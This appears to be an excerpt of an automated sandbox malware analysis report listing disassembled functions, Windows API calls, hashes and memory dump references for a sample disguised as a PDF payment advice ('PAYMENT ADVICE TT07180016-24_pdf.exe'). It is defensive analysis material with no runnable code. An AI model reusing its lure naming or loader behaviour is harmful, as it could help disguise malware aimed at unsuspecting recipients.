Instruction ID: 46dfe73b81ae29a5099323896a5bc3e3d9df575198e3285abdeb67f25c429c8d
Opcode Fuzzy Hash: bfed12c821a079857a615332bdb98fb1c84882728095731f13ed5530d444e0e9
Instruction Fuzzy Hash: 76E08C326005009BCB10AFB5AA4999D3375DF90369710007BE402F10E1CABC9C409A2D

Function 00405C2A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction ID: a29eaa7254a97888a18cbfd792fe15e84c6d283973f4e4682f27fdddc38ff468
Opcode Fuzzy Hash: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction Fuzzy Hash: 71D09E71654601AFEF098F20DE16F2E7AA2FB84B00F11562CB682940E0DAB158199B15

Function 00405700 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403293,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405706
GetLastError.KERNEL32 ref: 00405714

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction ID: 3f205c5890689a668e8791f8cf6ed098ce3dcc56284ebb1818e0a19aeae2b5ff
Opcode Fuzzy Hash: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction Fuzzy Hash: DBC04C30225602DADA106F34DE087177951AB90741F1184396146E61A0DA348415E93D

Function 100028A4 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.2036183059.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2036170525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036195897.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036208769.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 00402786 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004027A0

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction ID: c5c3fa32fc6d0159c61c67e46e8878479b4609e7a69e49ca0ebb3ecbbe822ed2
Opcode Fuzzy Hash: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction Fuzzy Hash: A0E04F71702514EFDB01AFA59E4ACAFBB6AEB40328B14443BF501F00E1DA7D8C019A2D

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction ID: 9c0f32427e9d9ad9a827debec1b0d32512713181f08a0e22f3c826aa7fb996c6
Opcode Fuzzy Hash: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction Fuzzy Hash: 90E04F319001246ADB113EF10E8ED7F31695B40314B1405BFB551B66C6D9FC0D4246A9

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,0000046E,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction ID: 180cb462b76767e938a43b2c67eaf1f9418a6812eb156052446fd1a81c43fca4
Opcode Fuzzy Hash: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction Fuzzy Hash: 54E0BF76154108AFDB00DFA5EE46EA977ECAB44704F044025BA09E7191C674E5509768

Function 00405CDC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,0040320B,00000000,00416A20,000000FF,00416A20,000000FF,000000FF,00000004,00000000), ref: 00405CF0

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: d2761c75b63c3b5a1b4cb2cfb4b6a55fbed1fd27b7f8bdfe76624f6b99830631
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 2AE0EC3221425AABDF109E55EC08FEB7B6CEF05360F049437FA55E7190D631E921DBA4

Function 00405CAD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403255,00000000,00000000,00403079,000000FF,00000004,00000000,00000000,00000000), ref: 00405CC1

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction ID: 881bd9ca443264ea0180802fa9c86a3c9bfb0e6b132b989af4612487e9445b73
Opcode Fuzzy Hash: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction Fuzzy Hash: D1E08632104259ABDF105E518C00AEB376CFB04361F104432F911E3140D630E8119FB4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.2036183059.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2036170525.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036195897.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2036208769.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction ID: 4fb9e9dd77d4d4fa14caa6284e3e33111a790732df8c0ecbc47c365062d5febc
Opcode Fuzzy Hash: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction Fuzzy Hash: 4BD05E33B04100DBCB10DFE8AE08ADD77B5AB80338B248177E601F21E4D6B8C650AB1D

Function 0040414E Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction ID: f9280d834dafdcf82d79e279d22eccff0cbc279b2038abc2a2984d0c0ecbec1f
Opcode Fuzzy Hash: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction Fuzzy Hash: E3B01235180A00BBDE114B00EE09F857E62F7EC701F018438B340240F0CBB200A0DB08

Function 00403258 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction ID: 2811e774c662cae59278f25d6ecae3b2a92cb5be3fe339fd2c15133e28e6e099
Opcode Fuzzy Hash: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction Fuzzy Hash: D0B01231140300BFDA214F00DF09F057B21AB90700F10C034B344380F086711035EB4D

Non-executed Functions

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405594
GetWindowRect.USER32(?,?), ref: 004055B4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405605
OpenClipboard.USER32(00000000), ref: 00405615
EmptyClipboard.USER32 ref: 0040561B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405627
GlobalLock.KERNEL32(00000000), ref: 00405631
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
GlobalUnlock.KERNEL32(00000000), ref: 00405665
SetClipboardData.USER32(0000000D,00000000), ref: 00405670
CloseClipboard.USER32 ref: 00405676

Strings

{, xrefs: 00405559

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction ID: bedd14c977596f777f0676ed5d78e17ab23f6a1f4e688fc8743dda88f8352f2f
Opcode Fuzzy Hash: 6a0fc3a2d5fa7d70d7ffe9782798eb57218c845f869a5f65bcd99de69d398bf2
Instruction Fuzzy Hash: 85B15A71900608FFDB11AF60DD89AAE7B79FB48355F00803AFA41BA1A0CB755E51DF58

Function 004045B4 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(Call,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,Call), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,"C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

Call, xrefs: 00404715, 0040471A, 00404725
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 00404704
A, xrefs: 004046D7

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2031927288.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031956799.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032009204.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2032182065.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$Call
API String ID: 2624150263-3131679198
Opcode ID: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 0040686A Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2031943326.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

